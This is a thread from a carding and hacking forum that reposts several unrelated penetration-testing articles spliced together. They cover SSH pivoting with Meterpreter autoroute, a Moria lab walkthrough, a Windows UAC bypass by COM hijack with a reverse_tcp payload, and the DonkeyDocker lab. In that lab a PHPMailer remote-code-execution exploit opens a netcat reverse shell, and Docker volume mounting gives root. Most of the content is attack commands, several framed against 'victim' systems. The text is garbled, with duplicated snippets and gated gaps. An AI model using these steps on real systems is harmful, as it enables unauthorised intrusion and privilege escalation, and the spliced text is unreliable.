[Guide] How to SSH Pivoting using Meterpreter

[Guide] How to SSH Pivoting using Meterpreter - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to SSH Pivoting using Meterpreter (/Thread-Guide-How-to-SSH-Pivoting-using-Meterpreter)

[Guide] How to SSH Pivoting using Meterpreter - NINZA - 05-04-2020

If you are aware of SSH tunneling then you can easily understand SSH pivoting, if not then don’t worry read SSH tunneling from another post by me.
Pivoting is a technique to get inside an unreachable network with help of pivot (center point). In simple words, it is an attack through which an attacker can exploit that system which belongs to the different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then the attacker will able to target the client system for the attack.
[Image: ssh.png?w=687&ssl=1]

This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.0.109
msf auxiliary(ssh_login) > set username raj
msf auxiliary(ssh_login) > set password 123
msf auxiliary(ssh_login) > exploit
1
2
3
4
5
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.0.109
msf auxiliary(ssh_login) > set username raj
msf auxiliary(ssh_login) > set password 123
msf auxiliary(ssh_login) > exploit
From the given image you can observe that command shell session 1 opened
[Image: 1.png?w=687&ssl=1]

Now convert command shell into the meterpreter shell through the following command
sessions –u 1
1
sessions –u 1
From the given image you can observe that Meterpreter session 2 opened
sessions
1
sessions
Hence if you will count then currently attacker has hold 2 sessions, 1st for command shell and 2nd for the meterpreter shell of the SSH server.
[Image: 2.png?w=687&ssl=1]

Check network interface using ifconfig command
From the given image you can observe two network interface in the victim’s system 1st for IP 192.168.0.109 through which the attacker is connected and 2nd for IP 192.168.10.1 through which SSH client (targets) is connected.
[Image: 3.png?w=687&ssl=1]

Since the attacker belongs to 192.168.0.1 interface and client belongs to 192.168.10.0 interface, therefore, it is not possible to directly make an attack on client network until unless the attacker acquires the same network connection. In order to achieve 192.168.10.0 network attacker need to run the post exploitation “autoroute”.
This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK. Autoadd will search a session for valid subnets from the routing table and interface list then add routes to them. The default will add a default route so that all TCP/IP traffic not specified in the MSF routing table will be routed through the session when pivoting.
msf > use post/multi/manage/autoroute
msf post(autoroute) > set subnet 192.168.10.0
msf post(autoroute) > set session 2
msf post(autoroute) > exploit
1
2
3
4
msf > use post/multi/manage/autoroute
msf post(autoroute) > set subnet 192.168.10.0
msf post(autoroute) > set session 2
msf post(autoroute) > exploit
[Image: 4.png?w=687&ssl=1]

This time we are exploiting SSH ignite (local client) therefore we are going to use the same module for it that had used above for SSH raj, only need to change information inside exploit.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.10.2
msf auxiliary(ssh_login) > set username ignite
msf auxiliary(ssh_login) > set password 1234
msf auxiliary(ssh_login) > exploit
1
2
3
4
5
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.10.2
msf auxiliary(ssh_login) > set username ignite
msf auxiliary(ssh_login) > set password 1234
msf auxiliary(ssh_login) > exploit
From given image, you can see another command shell 3 opened if you will count then total attack has hold 3 sessions, two for SSH server and one for the SSH client.
sessions
1
sessions

Command shell for SSH raj (192.168.0.109:22)
Meterpreter shell for SSH raj (192.168.0.109)
Command shell for SSH ignite (192.168.10.2:22)

sessions 3
1
sessions 3
Now attacker is command shell of SSH ignite (client), let’s verify through network configuration.
ifconfig
1
ifconfig
From given, you can observe the network IP is 192.168.10.2
[Image: 6.png?w=687&ssl=1]

Today we found a Vulnerable Lab based on the Lords of The Rings World. So get your Gandalf mode on, to solve this fun Vulnerable Lab Moria 1.1. We are going to download the VM Machine from

[To see content please register here]

.
The credit for developing this VM machine goes to

[To see content please register here]

. It is a Boot2Root Lab.
Note: According to the author you don’t need LOTR knowledge to hack this VM but trust me, you need it.
Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
Surfing HTTP service port (80)
Enumeration for FTP password
FTP Login and further Enumeration
Decrypting MD5 passwords using John the ripper
SSH Login
Get Flag

Let’s Breach!!!
As always, Let’s start from getting the IP of VM (Here, we have it at 192.168.1.125 but you will have to find your own).
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

After getting the IP Address of the Machine, we will do a port enumeration on the IP Address using the nmap tool.

nmap -sV 192.168.1.125
1
nmap -sV 192.168.1.125
[Image: 2.png?w=687&ssl=1]

From the NMAP Version Scan we enumerated the following details:

Port No.
Service
Port 21
FTP
Port 22
SSH
Port 80
HTTP
As the HTTP service is running on the target server, let’s open the IP Address on the Web Browser.
[Image: 3.png?w=687&ssl=1]

On Browsing, we found this image with the label “Gates of Moria”. We decided to do a bit of research on the text written in the given image. After searching through some wiki pages, we found its translation. It says “Say Friend and Enter” where Mellon means Friend. So Mellon must be one of the passwords.

[Image: 4.1.png?w=687&ssl=1]

Keeping that in mind, let’s move forward. Here we decided to scan the target directory using dirb scan. Now open the terminal in Kali Linux and type the following command:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

From the scanning result, we chose the highlighted directory for further enumeration.

[To see content please register here]

So, we opened this directory in the Browser and found another directory inside it. That is “h/”.
[Image: 5.png?w=687&ssl=1]

On opening it we got another directory and so on until it completes the path /w/h/i/s/p/e/r. Here we find the last directory named the_abyss/.
[Image: 6.png?w=687&ssl=1]

On opening the_abyss, we got some text as shown in the image.
Fundin: ”That human will never save us!”
[Image: 7.png?w=687&ssl=1]

We tried to look at the source code but found nothing. Afterward, we tried to refresh the page and found that the text gets changed into another text each time we refresh the page. Hence it was a cluster of random texts that were saved at some location.

So we decided to do a dirb scan but it gave no result, so we did an extension dirb scan as shown.
dirb

[To see content please register here]

-X .txt .img .html
1
dirb

[To see content please register here]

-X .txt .img .html
This dirb scanner scans for a particular extension which is specified like .txt or .img etc.
[Image: 8.png?w=687&ssl=1]

Aha! Found a file named random.txt.
So, we opened it on a web-browser and found all the recurring text on the same page as shown in the image.

[Image: 9.png?w=687&ssl=1]

This text contains a lot of names like Balin, Oin, Ori, Fundin, Nain, Eru, Balrog, we noted them because they might be Login Credentials.
Now we tried to connect with FTP port.
ftp 192.168.1.125
1
ftp 192.168.1.125
It greeted with Welcome Balrog
And we knew that it must be the username because it was in the random.txt too but for the password, we tried multiple names which we found earlier and then we remembered the text form the image, “Say friend and enter”. On entering Friend the login failed then we tried Mellon and it got us logged in successfully.
Therefore for FTP Login give following credential:
Username: Balrog
Password: Mellon
1
2
Username: Balrog
Password: Mellon
NOTE: – If you get an error, restart VM and also try multiple times with the above username and password.
After login, we used pwd command and found the path to be /prison. We looked around, in hope of getting a flag but it was worthless. Then we found a folder named var. We traversed in it using cd.

[Image: 10.png?w=687&ssl=1]

Then we got to /var/www/html. Here we found this folder QlVraKW4fbIkXau9zkAPNGzviT3UKntl.
[Image: 11.png?w=687&ssl=1]

On opening it in the browser we found a table having two columns for Prisoner’s name and Passkey as shown in the given image.
[Image: 13.png?w=687&ssl=1]

As always, we searched the source code for some hint. From the View Source page, we found the “salt” which can be used to decrypt the MD5 Password.
[Image: 14.png?w=687&ssl=1]

After trying different kinds of formats to decrypt above MD5 password, we created a file with name and passkey and salt in this format.
Prisoner’s Name Tongue

asskey$Salt
Name it whatever you want (Here we named it passwords and saved it on my Kali’s Desktop).
[Image: 15.png?w=687&ssl=1]

Now we will run John The Ripper on this file to decrypt it.

john –form=dynamic_6 /root/Desktop/lol
1
john –form=dynamic_6 /root/Desktop/lol
John The Ripper gave us the Login Credentials as shown in the given image.

[Image: 16.png?w=687&ssl=1]

After trying all user credentials decrypted to login in ssh, we got success with:
SSH Login
Username:Ori
Password Confused

panky
1
2
Username:Ori
Password Confused

panky
Now login into ssh using the above credentials.

ssh [email protected]
1
ssh [email protected]
Here we got the bash shell. Now we tried multiple commands in search of a flag. On running ls-al, we found a text file named poem, which contains a poem. But we didn’t find any flag inside it.
Then we looked into the .ssh/ directory and found the know_hosts file and id_rsa file which contains the private key. Let’s read the data inside these files using cat command.

cat id_rsa
1
cat id_rsa
Copy the entire text found inside id_rsa in a text file and save as id_rsa.
Now, we opened another file known_host, here you will found the host “127.0.0.1”. Let’s use this information for ssh login as a root user.
[Image: 17.png?w=687&ssl=1]

ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
This got us to the ROOT.
But to finish the Lab properly we need the flag. So we tried ls -la to search for the flag. We found a flag.txt. Inside the flag.txt, we got the Final Message “All that is gold does not glitter”.
[Image: 18.png?w=687&ssl=1]

In this article, we are going to bypass User Access Control (UAC) in the targeted system. It is the post-exploitation; hence attacker must exploit the target system at first then escalate UAC Protection Bypass via COM Handler Hijack.
Let’s start!!
Attacker: Kali Linux
Target: window 10
Firstly exploit the target to receive a meterpreter session of a victim’s system. Once you get the meterpreter session 1 then type the following command to check system authority and privileges.
getuid
getprivs
1
2
getuid
getprivs
From the given image you can perceive that the attacker is inside the meterpreter shell of a victim’s system but don’t have system/admin authorities and privileges. Hence here we need to bypass UAC Protection of the targeted system.
To perform this attack you need to manually add bypass_comhijack exploit inside Metasploit framework.
[Image: 1.png?w=687&ssl=1]

Copy the entire content of “bypass_comhijack” from

[To see content please register here]

and past it in a text document, now save as bypass_comhijack.rb inside the following path:
usr>share>metasploit_framework>modules>exploit>windows>local
1
usr>share>metasploit_framework>modules>exploit>windows>local
From the given image you can observe bypass_comhijack.rb exploit has been saved, as the attacker has his meterpreter session therefore now he can use this exploit in order to bypass UAC protection.
[Image: 2.png?w=687&ssl=1]

This module will bypass Windows UAC by creating COM handler registry entries in the HKCU hive. When certain high integrity processes are loaded, these registry entire are referenced resulting in the process loading user-controlled DLLs. These DLLs contain the payloads that result in elevated sessions. Registry key modifications are cleaned up after payload invocation.
use exploit/windows/local/bypassuac_comhijack
msf exploit (bypassuac_comhijack) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit (bypassuac_comhijack) > set session 2
msf exploit (bypassuac_comhijack) > set lhost 192.168.0.20
msf exploit (bypassuac_comhijack) > exploit
1
2
3
4
5
use exploit/windows/local/bypassuac_comhijack
msf exploit (bypassuac_comhijack) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit (bypassuac_comhijack) > set session 2
msf exploit (bypassuac_comhijack) > set lhost 192.168.0.20
msf exploit (bypassuac_comhijack) > exploit
From the given image you can observe that meterpreter session 3 opened, now type the following command to determine system authority privileges.
getsystem
getprivs
1
2
getsystem
getprivs
Wonderful!! The attacker got system/admin authorities and privileges.
[Image: 3.png?w=687&ssl=1]

Today we are going to solve a fun Vulnerable Lab DonkeyDocker, download this VM Machine from here.
The credit for developing this VM machine is goes to Dennis Herrmann who hid 3 flags inside this lab as a challenge for hackers.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.120 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap command for port enumeration
nmap -sV 192.168.1.120
1
nmap -sV 192.168.1.120
As you can see port 22 for ssh and 80 for HTTP are open, so let’s explore port 80 through Browser
[Image: 2.png?w=687&ssl=1]

After browsing I found three tabs Home, About and Contact but didn’t found any clue for the next step, then I decided to scan the target directory using dirb scan.
[Image: 3.png?w=687&ssl=1]

Now open the terminal in Kali Linux and type the following command:
dirb

[To see content please register here]

1
dirb

[To see content please register here]

From scanning result, I choose the highlighted directory

[To see content please register here]

for further enumeration.
[Image: 4.png?w=687&ssl=1]

Here, we get to know that PHPMailer is running on a targeted system. Let try to find out its version.
[Image: 5.png?w=687&ssl=1]

So After browsing a bit about PHP Mailer, we came to know that how to get the version of phpmailer

[To see content please register here]

We got the version of PHPMailer i.e. 5.2.16.
[Image: 6.png?w=687&ssl=1]

From Google, we came to known that PHPMailer 5.2.16 is vulnerable to Remote Code Execution (python) {CVE-2016-10033}. Exploiting PHPMail with the back connection (reverse shell) from the target. You can download this exploit from

[To see content please register here]

After Downloading the Python File and make the following changes:

Open the file and add “# coding: utf-8” at the beginning.
Set target = ‘http://192.168.1.120/contact’ (victim IP), it is the location where backdoor.php get uploaded in the victim’s machine automatically.
Give attacker IP: 192.168.1.101(Kali Linux IP) inside payload code
After making the above changes save it.

Now start netcat at the same port on which the payload is binding i.e. 4444 for establishing a reverse connection with the target.
nc -lvp 4444
1
nc -lvp 4444
[Image: 9.png?w=687&ssl=1]

Before you run the python script, type following command in a new terminal which will install the exploit dependency.
pip2 install requests_toolbelt
1
pip2 install requests_toolbelt
Now run the script in order to exploit the target as shown in the given image.
python 40974.py
1
python 40974.py
[Image: 10.png?w=687&ssl=1]

Move back netcat shell and here you will find that it is connected to the victim but not able to access proper shell of the victim system, therefore, type the given command in order to access victim shell properly as shown in the image.
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
[Image: 11.png?w=687&ssl=1]

Once you got the victim shell type following commands for finding the hidden flag.
ls
cat main.sh
1
2
ls
cat main.sh
Here we found user smith which is a directory has flag.txt let approach toward this directory.
cd home
ls
1
2
cd home
ls
While again opening the smith directory, we got “Permission denied”.
Then we used su smith to instead of sudo because sudo is not accessible in this shell
su smith
1
su smith
For Password, we tried “smith” and successfully get smith’s shell
[Image: 12.png?w=687&ssl=1]

Now we are inside smith shell, type following command to get the flag
ls
cd /home/smith
ls
flag.txt
cat flag.xt
1
2
3
4
5
ls
cd /home/smith
ls
flag.txt
cat flag.xt
Great!! Successfully capture the 1st flag
Moreover, if you notice the given image. You will find next clue “I like 1984 written by Geoge ORWELL” it could be possible that this might be the user name having a 2nd flag inside it.
[Image: 13.png?w=687&ssl=1]

Type following command to view all directory list
ls -al
1
ls -al
We got the authorized keys, id_ed25519 and id_ed25519.pub in SSH directory, let’s open these key one by one
cat authorized_keys
cat id_ed25519
cat id_ed25519.pub
1
2
3
cat authorized_keys
cat id_ed25519
cat id_ed25519.pub
In id_ed25519 we get the OpenSSH Private Key and this key is authorized for orwell@donkeydocker. Now copy the private key and past inside the text file.
[Image: 14.png?w=687&ssl=1]

Save this Private Key in a file as id_rsa as shown in the given below image.
[Image: 15.png?w=687&ssl=1]

Now using ssh login by
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
Here you will be greeted by the Donkey Docker Shell. Now check directory list for the 2nd flag
ls
flag.txt
cat flag.xt
1
2
3
ls
flag.txt
cat flag.xt
Nice!! Successfully got the 2nd shell
[Image: 16.png?w=687&ssl=1]

Now for the last flag, we tried a lot of different tricks but nothing seems to be getting through so we tried a method about which you can learn from

[To see content please register here]

Type following command
docker run –v /root:/hack -t debian:jessie /bin/sh -c 'ls -al /hack'
1
docker run –v /root:/hack -t debian:jessie /bin/sh -c 'ls -al /hack'
This created a user named Jessie and gave it root access through privilege escalation; check all directory lists inside it, here we get the flag.txt file.
[Image: 17.png?w=687&ssl=1]

Now to open this file we will use the previous command just with slight modification as shown:
docker run -v /root:/hack -t debian:jessie /bin/sh -c 'cat /hack/flag.txt'
1
docker run -v /root:/hack -t debian:jessie /bin/sh -c 'cat /hack/flag.txt'
Awesome we got 3rd flag also.
[Image: 18.png?w=687&ssl=1]